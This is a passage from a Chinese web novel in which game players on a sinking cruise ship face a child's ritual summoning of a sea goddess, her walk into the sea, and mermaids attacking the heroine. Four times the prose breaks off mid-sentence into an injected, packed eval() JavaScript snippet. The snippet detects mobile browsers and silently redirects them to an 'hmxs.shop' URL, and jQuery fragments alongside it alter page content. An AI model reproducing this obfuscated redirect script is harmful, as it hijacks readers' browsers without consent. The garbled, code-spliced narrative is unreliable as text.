it.(我们重新开始。真相,全部。)” 强大的压迫感终于彻底碾碎了维克最后的心防。他瘫软在地,涕泪横流,全盘托出: “She... Emily... she knew!Knew about the jewels I took!Threatened to tell!I had no choice... No choice!I just pushed the cart... She was inside... I didn''t know she would kill... I just...(她…艾米丽…她知道!知道我偷了珠宝!威胁要告发我!我别无选择…别无选择!我只是推了车…她在里面…我不知道她会杀人…我只是…)” 他终于将所有的罪恶说出,只剩下绝望的哭泣。 话落,休息室的门被人从外面推开,齐无尽和向枝冥站在门口,向枝冥手里小心翼翼地拿着一个透明的小玻璃瓶,瓶子里装着浑浊的盐水,而浸泡在盐水中的,赫然是两颗苍白的,失去了所有神采的人类眼珠。 “找到直接证据了。”齐无尽的目光落在崩溃的维克身上,又冷漠移开。 向枝冥将手中的瓶子举起,让那令人毛骨悚然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965080|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的内容物更加清晰可见。他脸上没了平日的散漫,只有凝重和嫌弃。 “在艾米丽房间的玩具箱最底层,藏在这个后面。”他深吸一口气,“罗莎蒙特罗被挖出来的眼睛,泡在盐水里‘保存’着。” 初与序站起身,扫了瘫坐在地上的维克一眼,淡淡道:“走了,去找安娜贝尔了解情况。” 四人找到船长室时,发现安娜贝尔正独自一人站在巨大的舷窗前,面色凝重地观察着外面狂暴的海面,眼神复杂。 “安娜贝尔小姐。”冬逢初率先开口,声音在风雨声中显得有些低沉,“我们需要知道关于艾米丽生母的一切,所有你知道的。这很重要。” 安娜贝尔转过身,看到是他们,又看到了向枝冥手里装着眼珠的玻璃瓶,没有惊讶,勉强笑了笑:“是你们……调查有进度了?” “是的。”初与序道。 安娜贝尔看着四人严肃的表情,又看了看窗户仿佛永无止境的风暴,似乎明白了什么。她深吸一口气,像是下定了决心,缓缓开口,道出被掩盖的真相: “艾米丽的生母,她并非普通人。她来自一个非常古老,几乎已被遗忘的家族,那个家族位于……黑礁角,世代信奉着‘格格莉娅’(Gloria),也就是你们所知的‘深海之母’。” “她精通潮汐,能感知风暴,甚至有传言说她能听懂海洋的低语。对她而言,珍珠并非财富,而是‘深海之母’悲悯的凝结物,是神圣的。” “有仆人私下说,她常在暴风雨夜独自前往甲板或海边,吟唱无人听懂的空灵歌谣,像是在进行某种古老的仪式,期盼着回归。” “后来,在那场异常猛烈的风暴中,她独自驾船驶向了深海,再也没有回来。”安娜贝尔的声音低沉下去,“渔民间私下流传,她是听到了‘深海母亲’的召唤。因为她那无法融入陆地的强烈的孤独感,与海洋产生了共鸣,所以被‘接引归乡’了。对他们而言,这是一种扭曲的恩典和团聚。” 安娜贝尔顿了顿,继续道:“也有隐约的流言暗示,她对海洋的执著信仰可能招致了某种诅咒,导致了她的早逝或者消失。这也让了解些许内情的人,对艾米丽既同情又畏惧。” “她生前极度珍视那串珍珠项链,并非因其价值,而是坚信其中有着与‘深海之母’联系的古老力量,是家族传承的信物。” “传闻她离开前预知到了什么,并将关于‘格格莉娅’的秘密,和那种强烈的执念,通过那串珍珠项链或其他方式,传承给了年幼的艾米丽。艾米丽现在的安静乖巧,在有些人看来……或许正是她在等待。” 所有的线索终于拼凑完整,艾米丽并非单纯的受害者或凶手,她是一个古老扭曲信仰的继承者,一场悲剧性的“召唤”与“回归”的延续。她的谋杀,是一场献给深海母亲的表演,也是为了完成她自己扭曲的“归乡”仪式。 想来想去,闹出这么大动静,死了人,引来了怪物。说到底,艾米丽那孩子,也只是想用她知道的唯一方式“回家”罢了,回到她母亲身边,回到那个她被教导属于她的“深海母亲”的怀抱里。 只是这“回家”的路,铺满了血腥,欺骗和疯狂。 183.蔚蓝海神号 船舱内的沉重寂静没持续多久,就被外面走廊突然爆发出的骚动打破: “Lool!Outside!The lightning!And oh my God!There''s a child!A little girl!(看!外面!闪电!还有天哪!有个孩子!一个小女孩!)” “She''s on the lower observation deck!In this storm!She''ll be swept away!(她在下层观景台上!在这种风暴里!她会被卷走的!)” 嘈杂的奔跑声从远到近传来,船长室内的四人对视语言,不约而同想起下层观景平台是之前他们处理康安残肢的地方,并且极其寒冷。 他们再无迟疑,飞快冲出船长室,冲向通往下层观景平台的舱门,而尚未反应过来的玛蒂尔达一脸茫然地站在原地。 初与序率先推开那扇厚重的大门,一股极其猛烈,冰冷刺骨,带着咸湿海水和冰渣的寒风如同重锤般,迎面砸来!立刻灌满了走廊,几乎让人无法呼吸。这里的温度比船舱内低了不止十度,像是踏入了冰窖。 门外,是几乎完全暴露在风暴中的下层甲板,巨浪不时直接拍打上来,甲板上甚至结了一层薄薄的冰。而在甲板边缘的观景平台上,一个穿着单薄连衣裙的身影,正张开双臂,面对巨浪。 艾米丽似乎完全感觉不到寒冷,沉浸在自己的世界中。 四人顶着能把人吹飞的狂风,和刺骨的寒意,艰难地向前靠近。 “艾米丽!”冬逢初提高声音喊道,试图压过风暴的咆哮。 艾米丽缓缓回过头,狂风吹拂着她的金发,她的脸冻得发紫,却露出一个甜美的笑容,礼貌地用中文问道:“侦探先生和女士们?案子查完了吗?怎么来这里了?这里很冷的。” 向枝冥不再迂回,直接举起那个装有眼球的玻璃瓶,大声道:“艾米丽!我们都知道了!凶手是你!赶紧回来!这里太危险了!回来之后一切好商量!” 艾米丽的目光落在那个瓶子上,笑容没有丝毫减退,反而更加灿烂了一些,她轻轻点了点头,直接承认了:“Yes.是我做的。” “请回来。”齐无尽上前一步,冷冰冰道,“你这场仪式和召唤来的风暴,会害死船上很多无辜的人。” 艾米丽脸上的笑容淡去了一些,那双冰蓝色的眼睛看着齐无尽,里面没有任何孩童应有的情绪,只有嘲讽。她轻轻道:“板子不是打在你身上,你是不知道疼的。” 初与序放缓语气:“海里很危险,艾米丽,先回来吧。” 冬逢初也在一边疯狂点头附和。 但艾米丽只是摇摇头,她转过身,再次面对那咆哮的,能吞噬一切的深海,声音飘忽但清晰: “你们不懂,我要‘归乡’了。格格莉娅在呼唤我,那才是我的家。” 她顿了顿,声音里第一次带上了细微的颤抖,但很快又恢复了空灵:“妈妈大概早就死了吧……爸爸不要我,罗莎那么对我,我才九岁。在我的世界里,活下去的地方越来越小,越来越黑,但没有人帮我。” “换成你们,你们不会崩溃吗?不会想找一个真正属于我的‘家’吗?” 说实话,她说的话没有错。她的执念是扭曲偏执,却源于正常的生存渴望。对于一个九岁孩子而言,无法忍受的虐待和孤立无援,将她逼向了那个被母亲灌输的关于深海故乡的美梦。她太执着一个能接纳她的“家”,而大海,成了她唯一的选择。 她站在甲板边缘,狂风吹得她摇摇欲坠,仿佛下一秒就要被卷入深渊。但她张开双臂,像是在迎接她心中的“归途”。 五人身后的舱门被猛地推开,安娜贝尔不顾一切地冲了进来,刺骨的寒风吹乱了她的头发,她脸上毫无血色,写满了惊恐和焦虑: “Emily!Noe back!Please!Don''t do this!(艾米丽!不!回来!求你了!别这样做!)” 她的声音带着哭腔,被风声撕碎。罗萨经常带着艾米丽来蔚蓝海神号,安娜贝尔几乎是看着艾米丽长大,现在自己的小朋友却要自杀。 艾米丽听到她的呼唤,身体微微一顿,缓缓转过头。看到是安娜贝尔,她脸上那空灵的表情融化了一丝,露出一抹苦涩的笑容。 “Annabel…(安娜贝尔…)”她的声音很轻,却奇异地穿透了风声,“Sorry.ive my parting.I hear the ocean''s call.(对不起,请原谅我的离开,大海在呼唤我,我听到了。)” 这仿佛遗言般的话语,带着一种与年龄不符的悲凉和决绝。 说着,她不再看安娜贝尔悲痛欲绝的脸,转回了身。她从口袋里拿出了那串原本属于她生母,后被罗莎夺走,如今又回到她手中的珍珠项链,郑重地戴在了自己的脖颈上。 荧白的珍珠项链在她苍白的皮肤和灰暗的天光下,泛着诡异圣洁的光泽。 接着,她闭上了眼睛,开始用一种空灵,悠远,带着淡淡忧伤的调子吟唱起来。歌词是英文,古老优美,像是一首失传的圣歌: “Hark,the depths do sigh and weep.Where lost souls their vigil keep.” (听啊,深渊在叹息哭泣,失落的灵魂在此守望) “Mother''s voice,a ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965081|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' tender croon,Beneath the pale and silver moon.” (母亲的声音,温柔的轻吟,在苍白的银月之下) “Tears of pearl,a solemn gleam,Guide me to the silent dream.” (珍珠之泪,庄严微光,指引我去向沉寂梦想) “Where the weary find their rest,Cradled on the ocean''s breast.” (在那里疲惫者得以安息,依偎在海洋的胸膛) “No more sorrow,no more pain,In your embrace,I rise again.” (再无悲伤,再无痛苦,在你的拥抱中,我终得重生) “Take me home,to realms below,Where eternal currents flow.” (带我回家,去下方国度,前往永恒洋流之处) 随着她的吟唱,周围狂暴的海洋仿佛受到了安抚,又像是被注入更强的力量,变得愈发汹涌,却呈现出一种有节奏的律动。海面下散发出朦胧的冰蓝色光芒,像是有无数幽蓝的灯笼在深海中点亮。 数不清的海鱼从发光的海水中跳跃而出,种类繁多,甚至包括一些深海的稀有品种,它们围绕着游轮跳跃,像是在朝拜。 成群结队的海鸥和其他海鸟不再畏惧风暴,它们在低空盘旋,发出悠长的鸣叫,与艾米丽的歌声应和。 一种难以言喻的磅礴生机从海底弥漫开来,海洋深处的万物都在响应着呼唤,正在隆聚而来。 周围的风暴形态发生了变化,不再是之前那种毁灭性的漆黑,而是笼罩在一片冰蓝色调之中,仿佛整个天地都被浸入了冰冷的深海。光芒来自下方越来越盛的海水,诡异却有一种惊心动魄的壮美。 “哗啦——!轰——!” 无数之前袭击游轮的恶心海怪,以及更多散发着蓝光的海洋生物,疯狂地从海水中冒出,更加猛烈地撞击着船体。 紧接着,游轮正前方的海面猛地爆发出无法直视的冰蓝强光,如深海中升起了一轮冰冷的太阳。 四人被这强光刺得睁不开眼,抬手遮挡。 光芒稍敛,他们勉强放下手睁开眼,望向前方。 前方的海面如同山峦般高高涌起,一座由纯粹海水和冰蓝光芒构成的“浪峰”托举着一个巨大的身影,缓缓从深渊中升起。 格格莉娅,或者说,他们认知中的“深海之母”,“无光之母”,显现了祂的真容。 184.蔚蓝海神号 格格莉娅的容貌美得令人窒息,超越了人类想象的极限,带着一种悲悯又冰冷的神性。额头两侧,是如同玉雕琢般的龙角。 长长的白色长发在海风中狂舞飞扬,但仔细看去,那其实不是什么头发,而是无数条细腻柔韧,闪烁着珍珠光泽的白色章鱼触手。 祂的上半身覆盖着无数珍珠贝壳,以及流动的海水。华美自然,勾勒出曲线。而下半身没有具体形态,直接与下方汹涌澎湃,无边无际的整个大海融为一体,仿佛祂是海洋的化身。 格格莉娅缓缓地、缓缓地睁开了双眼。 那是一双怎样的眼睛啊,是世间最纯净,最深邃的冰蓝色,凝结了冰川和星海的灵魂,美丽得能夺走任何凝视者的心魄。 然而,就在这双极美的眼睛睁开的瞬间。 一股无形却磅礴如海啸的精神威压立刻席卷了整个海域!游轮猛地剧烈一震,像是被无形的巨锤击中! 甲板上所有幸存的NPC,包括安娜贝尔,包括刚刚爬上来想查看情况的维克和其他船员,在这威压降临时,如同被抽走了全部力气,纷纷脸色惨白地瘫软在地,死死抓住固定物,才勉强不昏迷过去。 就连四位高层玩家也在这神威面前感到了灵魂震颤,一股难以抗拒的精神冲击狠狠撞入脑海。他们不得不后退一步,才稳住身形,脸色瞬间惨白。 【警告:受到极高强度精神污染!各玩家精神值大幅下降!】 【所有玩家当前精神值:30/100】 【请注意保持理智!】 唯有艾米丽依旧稳稳地站在观景平台边缘,狂风吹拂着她的裙摆和头发,脖颈上的珍珠项链散发着柔和的光晕。格格莉娅那足以让万物臣服的威压,对她没有产生丝毫影响。她仰着脸,痴迷地望着她,眼中充满了渴望与归属。 神,回应了她的呼唤。 格格莉娅那美丽的冰蓝色眼眸,缓缓垂下,目光穿透风雨和距离,精准地落在了甲板边缘那个渺小却无比坚定的身影上。那目光中蕴含着无尽的悲伤,以及一种对迷失灵魂的吸引力。 一个空灵,悠远,像是由无数深海回音交织而成的女性声音直接在所有人的脑海中响起,清晰得如同耳语。带着一种抚平风暴的力量: “Child of longing... Heart adrift... Why do you call me from the abyss?Why do you offer tears and life?(渴望的孩子…漂泊的心…你为何从深渊呼唤我?为何献上泪水与生命?)” 艾米丽像在与一位思念已久的亲人对话: “Mother of the Deep... I heard your song in my dreams……mother yearned for.(深海之母…我在梦中听到了您的歌谣。我在此间无容身之处。陆地只我痛苦与孤寂。我献上被夺走之物…祈求您应许的家园。我生母所渴望的家园。)” 格格莉娅的目光掠过艾米丽脖子上的珍珠项链,那眼中的悲伤更加浓郁了: “The call of the lost……Is this truly your wish?(迷失者的呼唤…我一直能听到。它在海沟中回响。但是孩子,深海的拥抱是永恒的…也是冰冷的。那是与阳光的永诀。这真是你所愿的吗?)” 艾米丽毫不犹豫地点头:“The sun has never warmed me……take me home.(阳光从未温暖过我。我寻求的温暖在您的深渊之中。我准备好了。我孤身一人。求求您…带我回家。)” 格格莉娅沉默了片刻,那由触须构成的“长发”在海水中缓缓飘动。最终,那空灵的声音再次响起,带着一种决议的悲悯: “So be it.Your sorrow sings the……the currents carry you to rest.(如你所愿。你的哀伤吟唱着最真实的圣歌。你的仪式已被接受。那么来吧,悲伤的孩子…投入这永无止境的怀抱。让海浪溶解你的泪水,让洋流带你安息。)” 随着祂的话语,海面上那冰蓝色的光芒更加炽盛,一条海水构成的的“道路”从格格莉娅的下方伸出,直达艾米丽所在的观景平台。 那是一条通往深海故乡的道路。 艾米丽脸上露出无边安宁和期待的笑容,她义无反顾地,抬腿迈向了那条光之水路。 随着格格莉娅的接引之路展开,周围那些受到召唤而来的海怪和深海生物像是收到了最终的指令,对蔚蓝海神号发起了更加疯狂和猛烈的攻击。它们撕咬船体,撞击船舱,用触手将甲板上的物品乃至不幸的NPC扫入海中,惨叫声和落水声此起彼伏。 但,那悬浮于浪峰之上的格格莉娅本身,却没有任何敌意。祂的冰蓝色眼睛只是悲悯地注视着艾米丽,对于周围发生的破事无动于衷。又或许在祂的认知里,这是“回归”。祂的存在本身没有恶意,只是回应呼唤的仪式,不可避免地带来灾难。 “艾米丽!好好想一想!”冬逢初一边挥剑斩断一条试图缠绕住他的触须,一边朝着光之路上的艾米丽道,“那不一定是你想要的‘家’,如果后果只是溺水呢?” 初与序用短刀格开飞来的尖锐鱼骨,也道:“艾米丽,有家人的地方才是‘家’!” 齐无尽和向枝冥也努力清理着不断涌上的海怪,试图靠近观景平台。 艾米丽已经踏上了那条水光之路,海水温柔地拖着她。听到他们的呼唤,她回过头,望了他们一眼。那眼神里没有了之前的偏执,只剩下一种看透般的平静和淡淡的梳理。 “即使大海不是我的‘家’,我也不会再想回去了。”她声音很轻,“那里没有我的位置。” 说完,她转过头,朝着光芒的源头,朝着格格莉娅的怀抱走去。 “Emily!No!”安娜贝尔发出绝望的哭喊,就在她和另外几人打算冲上前想办法阻拦时。 初与序却忽然停下了脚步。 她站在原地,冰冷的雨水和海浪拍打在身上,她看着艾米丽的背影,眼神复杂。 “让她去吧。”她声音不大,却穿透了风暴和海怪的咆哮。 另外三人动作一顿,惊愕地看向她。 初与序也经历过无数孤立无援的黑夜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979952|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她理解艾米丽渴望一个真正的“家”的感觉,也明白觉得或许消失才是最好解脱的念头。 艾米丽这么做,不仅仅是为了回归那个被母亲描述的“深海故乡”,更是为了彻底逃离现实世界。她不只是想回家,她是不想活了。而此刻,海的深处到底是幸福还是死亡,已经不重要了。 甲板上的人纷纷抬头看向艾米丽的身影,随着她越走越高,周围的温度继续以一种不自然的速度急剧下降。 原本刺骨的寒风变得更加凛冽,空气中开始出现细小的冰晶,环绕着光之路飞舞。紧接着,一片片雪花竟然从天空中飘落下来。初与序四人的鼻尖被冻得通红,感觉睫毛都要结冰,身体的灵活度因严寒明显下降。 与此同时,那些海怪变得更加狂躁。它们开始了近乎自杀性的冲撞,更多的深海生物涌上甲板,疯狂破坏着一切,试图将整艘船彻底拖入深渊。 【警告:终极剧情触发】 【当前任务更新:在“蔚蓝海神号”沉没前想办法存活下来】 【祝各位存活愉快】 “救生艇在顶层甲板两侧!”冬逢初想起游轮指南上的信息,格挡开一条触手,厉声喊道。 “走。”齐无尽道,手中的扑克牌射出,切断了几只试图合围过来的深海怪鱼的喉咙,清出了一小片区域。 四人立刻聚拢,朝游轮内部跑去。 “咔嚓——轰隆!” 船体再次遭到巨力撞击,这一次是结结实实地撞上了水下的礁石。整个船身发出断裂声,猛地一震! 他们脚下的甲板立刻破裂开一个大口子,冰冷的海水混合着海怪的血水从破洞中喷涌而出。 游轮因为连续的撞击和进水,倾斜角度越来越大,几乎快要侧翻过去。初与序环视四周,几乎已经看不到活着的NPC了,这里每一秒都在下沉。 他们沿着几乎已经垂直了的楼梯向上跑,楼梯间内一片混乱,灯光忽明忽灭,警告声被各自恐怖的声响淹没。 就在他们爬到第七层长廊甲板的楼梯平台时,只听“哗啦!”一声,舷窗外原本就汹涌的海面突然炸开。 几只浑身覆盖着绿毛,指间带着蹼,面无狰狞如猿猴,但又与鱼混合的生物猛地跳上倾斜的甲板,用利爪扒着船体,猩红的眼睛锁定了楼梯间的四人。 ???这他妈又是什么鬼? “我操!海猴子?!”向枝冥看得愣住。 而另一侧海面上,几个身影优雅的生物跃出水面。它们的上半身是妖异的人类女性模样,皮肤苍白,下半身却是覆盖着鳞片的巨大鱼尾。然而,它们美丽的面孔上却带着狞笑,张开嘴,露出密密麻麻的利齿,发出一种令人头晕目眩的尖锐歌声。 它们同样朝着游轮扑来,目标显然也是活物。 “我操!还他妈真有美人鱼?!”向枝冥再次惊愕,“这副本他妈到底是什么玩意儿?!齐无尽你们执行官平时就创造这种BOSS吗?审美也太差了吧!” “制作副本BOSS的是管理员,我是执行官!”齐无尽忍不住骂道。 海猴子沿着甲板攀爬,试图从破损的舷窗跳出来。而美人鱼则用歌声干扰心神,同时用强有力的尾巴拍击船体,制造更大的破口。 185.蔚蓝海神号 四人终于在副本各种怪物的围剿下冲上了上层甲板。这里同样一片狼藉,倾斜严重,两侧果然悬挂着数艘白色的救生艇,但大部分救生艇已经滑进了海里。 “你们放艇,我们掩护。”冬逢初快速下令,和初与序立刻转身,背对着救生艇区域,迎向从楼梯口和甲板边缘不断涌上的海猴子,美人鱼,以及其他奇形怪状的海怪。 另外两人立刻冲向最近的一艘没有被损坏的救生艇。然而,看着那复杂的装置,两人都是一脸懵,他们谁也没真正操作过这玩意儿。 “这玩意怎么搞?!”向枝冥看着那些扳手,绞盘和挂钩,一头雾水。 “不知道。”齐无尽面无表情地回答,试图找出说明或标识,但大部分都被海水淹没,“先找到手动释放杆看看,通常有一个安全销,拔掉它。” 向枝冥手忙脚乱地摸索,果然在一个红色手柄上找到了一个插着的金属销:“这个?拔了?” “拔,然后板动那个释放手柄。”齐无尽指挥着,自己则去解固定救生艇的缆绳和止荡索。 向枝冥用力拔掉安全销,然后抓住释放手柄猛地向下一压。只听“嘎吱”一声,沉默的机械声响起,吊臂开始移动,但救生艇只是晃动了一下,并未顺利下降。 “不对啊!卡住了?”向枝冥急道。 “可能是绞车,需要先松开绞车的刹车。”齐无尽又道,指向另一个带着曲柄的装置。 “你他妈不早说!”向枝冥又扑向绞车。 身后,初与序一刀劈开一只扑上来的海猴子,头也不回冷冷道:“你们快点!” “我们也想快点啊!”向枝冥一边扯着看上去似乎没有用的缆绳,一边对着齐无尽喊道,“这绳子怎么解不开?是不是要砍断?” “那是安全锁,砍断了艇会直接掉下去。” “那这个金属杆是干嘛的?” “……我怎么知道?” 身前是震耳欲聋的怪物咆哮,身后是两个男人在毫无头绪地争论如何操作救生艇。初与序和冬逢初一边斩杀源源不断的海怪,一边听着身后队友极不靠谱的讨论,内心崩溃。 【警告!玩家初与序的武器能量严重不足,预计剩余使用时间:60秒。能量耗尽后,将转化为普通物理形态。】 身后正在和救生艇较劲的向枝冥和齐无尽听到这提示,动作一顿,脸上露出惊讶。 “什么?!”向枝冥猛地回头,“你的短刀没能量了?!开什么玩笑?这种实体搏斗型武器怎么可能能量耗尽?” 在永冬之城,像他们这种依靠冷武器近身搏斗的玩家,系统赋予武器的能量极大,除非武器本身遭受毁灭,否则几乎不可能出现“耗尽”的情况。只有江意和景明垂那种操控型武器才会耗尽能源,但恢复极快。 而这种武器能量异常耗尽,往往与持有者的精神状态息息相关,尤其是这种已经认主,与初与序绑定武器。主人的精神波动也会影响武器的能量。 齐无尽立刻道:“初与序,查看你的精神值!” 初与序正一刀劈开一只扑上来的海猴子,闻言点开了面板: 【精神值:10/100(极度危险!濒临崩溃!)】 初与序愣了一下。 “多少?”向枝冥一边想办法处理救生艇,一边问。 “10点。”初与序淡淡道。 “多少?!”向枝冥以为自己听错了。 然而,初与序却没有任何崩溃或疯狂的迹象,她只是微微皱了下眉:“格格莉娅和海怪的精神影响太严重了,你们小心点。” 在另一边的光之路上,艾米丽依旧在一步步向上走着,步伐缓慢坚定。格格莉娅的目光始终跟随着她,偶尔会说几句鼓励的低语,驱散着沿途的极寒与恐惧。 甲板上,初与序手中的短刀最后一丝冰蓝光芒彻底熄灭,变成了一把普通的短刀。她明显感觉到每一次劈砍都更加费力,战斗力大打折扣。 就在这时,海面上的格格莉娅似乎感应到了什么,微微转头,冰蓝色的眼眸随意地扫过混乱的游轮甲板。祂的目光穿透无数海怪和纷飞的雪花,直直落在了初与序身上。 然后,格格莉娅微微皱了下眉,像是看到了某种令祂困惑又熟悉的东西,祂最终还是移开目光。 “开了!”身后传来向枝冥的声音。 经过一番误打误撞,他们竟然真的瞎猫碰上死耗子,松开了固艇索,解开了安全杆,可能步骤并非完全正确,但足够让艇坠落。 一艘救生艇从吊臂上砸落下去,重重地落在了汹涌的海面上,剧烈摇晃着,但总算是浮着了。 几名幸运存活下来的NPC也冲上了顶层甲板,其中包括安娜贝尔和玛蒂尔达,但维克显然已经坠海或者被海怪攻击,他们率先跳进了救生艇里。 齐无尽和向枝冥从倾斜的甲板边缘跳了下去,精准地落在了那摇晃的救生艇里,并迅速稳住了重心。 冬逢初挥剑逼退扑上来的海怪,侧头对初与序道:“走!” 初与序转身就准备冲向甲板边缘跳艇,但就在这千钧一发之际,游轮猛地向下沉了一大截!巨大的倾角让所有人都失去平衡。 数只一直在等待机会的海怪趁机从水下猛地跃出,直扑向身形不稳的初与序! “小心!”冬逢初勉强稳住身形,想要回身救援,却被另外的怪物缠住。 初与序只来得及格开最先到的利爪,却无法避开后续的攻击。她脚下的甲板破裂开来,整个人瞬间失去支撑,直接坠入下方翻涌的,漆黑冰冷的海水之中。 刺骨的冰冷瞬间包裹住她,身上的礼裙此刻紧紧贴附在身上,掠夺着她本就不多的体温。 完全没预料到的撞击让她没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979953|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反应过来,冰冷咸涩的海水灌入口鼻,肺部像是被狠狠攥紧又塞进了冰渣般剧痛难忍,窒息感排山倒海般袭来。 初与序立刻稳下心神,朝着上方海面游去。但一只冰冷的手忽然猛地抓住了她的脚踝,力量大得惊人!她下意识低头看去,是一只美人鱼,它狞笑着,拖着她毫不犹豫地向更深更黑暗的深海潜去。 初与序试图挣扎,但呛水带来的缺氧让她使不上力。她被强行拖入更深的海域,周围的光线迅速变暗,最后彻底陷入一片漆黑。耳边只剩下嗡嗡声。 偶尔有冰冷僵硬的物体擦过她的手臂,是那些溺毙的NPC,随着水流无声地漂浮着,睁着空洞的眼睛。 初与序伸手去摸腰间的短刀,打算拔出,却摸了个空。 想起来了,刀在落水的混乱中,早已被汹涌的暗流冲走。 失去了能源,那把短刀此刻无法响应她的召唤,不知沉没在黑暗海底的哪个角落。 初与序的意识在冰冷和窒息中逐渐模糊,但求生的本能让她竭力保持着一丝清明,她感觉到抓住她脚踝的那只美人鱼停了下来。 紧接着,更多的身影从四周的黑暗海水中悄然浮现,将她包围。 至少五六条美人鱼环绕着她,它们苍白妖异的面孔在黑暗中隐约浮现,好奇地打量着这个即将溺毙的猎物,彼此间用空灵的英文低声交谈起来: “A beautiful one girl,a struggled much.(一个美丽的女孩,挣扎得很厉害。)”一条美人鱼轻轻抚摸初与序冰冷的手臂皮肤。 “But her spirit burns,rare.(但她的灵魂在燃烧,很罕见。)”另一条声音更低的美人鱼凑近,几乎贴着初与序脸颊嗅了嗅。 “Should we gift her the Kiss?Let her join the chorus?Her voice might yet sing.(我们该赐予她‘吻’吗?让她加入合唱?她的声音或许还能歌唱。)”一个看似为首的美人鱼提议道,手指抚摸着初与序的脖颈,似乎在评估什么。 初与序:“?” 这他妈是合唱团吗?不带强行招聘的! “No!The transformation is too precious!This one is……their share!(不!转化太珍贵了!这个已经受损,半死了!不如吃掉!其他人也要分一份!)”最先抓住初与序的那条激烈分队,露出了满口尖牙。 争论在冰冷的深海中继续,到底是赐予所谓的“吻”,让初与序同化为海妖,还是直接撕扯分食。 初与序无力地听着这些决定她最终命运的讨论,肺部的灼烧几乎达到极限,意识正在一点点被黑暗吞噬。 186.蔚蓝海神号 意识的最后边缘,初与序只感到一种轻飘飘的困意席卷而来,身体不再沉重,而是像一片羽毛般缓缓下沉。 【警告!玩家初与序生命体征极度微弱!处于濒死状态!】 【警告!氧气耗尽!】 系统的提示音像隔着一层厚厚棉花,遥远模糊。 就在初与序忍不住合上眼睛时,一只异常冰冷的手,轻轻捧住了她的脸颊。 初与序涣散的瞳孔勉强聚焦了一下,对上了一只美人鱼眼眸。这条美人鱼比其他同类看起来更沉静一些,她阻止了旁边那条想要撕咬的急躁同伴。 “The kiss,let the sea decide.(那个吻,让大海来决定吧。)”它空灵的声音在初与序脑海里响起。说着,她缓缓低下头。 初与序的大脑因为缺氧几乎停止运转,但在这一刻,却猛地涌起一股极其荒诞和震惊的情绪。 我操! 这条美人鱼,竟然真的要“吻”她?! 她想挣扎推开,但四肢早已被其他几条美人鱼牢牢抓住,动弹不得,肺部痛得快要炸开,一丝力气都凝聚不起来。意识如同风中残烛,下一秒就要彻底熄灭,陷入昏迷。 海面上方,冬逢初毫不犹豫地跳进冰冷刺骨的海水中,海水一片漆黑,只能依靠齐无尽之前塞给他的手电筒勉强照亮前方一小片区域。他快速向初与序沉落的方向潜游,心脏因寒冷剧烈收缩疼痛。 手电筒光柱在浑浊黑暗的海水中扫动,偶尔照亮漂浮的碎屑和可怕的尸体。 终于,光柱捕捉一抹熟悉的白蓝色,是那身礼裙。 冬逢初立刻游过去,光线逐渐聚焦。紧接着,一副美丽但诡异荒诞的画面出现在他面前。 四五条苍白妖异的美人鱼,像是深海中的幽灵,它们的鱼尾在黑暗中缓缓摆动,折射出幽微的光芒。它们共同环绕着中间的初与序。 初与序的四肢被美人鱼们抓着,长发散开,苍白的脸上双眼紧闭,长长的睫毛上挂着细小的气泡,那身白色的礼裙在暗海中绽放。 其中,一条最美的美人鱼,两只手珍重地捧着初与序的脸颊,低下头,冰冷的唇瓣就要吻上初与序毫无血色的嘴唇。 冬逢初大脑“嗡”地一声,一片空白。 下一秒,他的身体已经先于意识行动,猛地冲了过去,一把推开那条即将吻上初与序的美人鱼。 美人鱼被这突如其来的冲击撞得向后漂去,发出一声尖锐愤怒的嘶鸣。 冬逢初趁机一把将初与序冰冷的身体紧紧搂进自己怀里,另一只手紧握长剑。而其他美人鱼已经迅速围拢过来,苍白的面孔狰狞,发出了低吼。 他低头看向怀中的初与序,她闭着眼睛,脸色苍白得透明,没有任何反应,像是已经失去了意识,生命体征正在飞速流逝。 不能再等了,每一秒初与序都有可能死在海底。 冬逢初不再犹豫,眼底闪过一丝痛楚,在心里默念了一句:“对不起。” 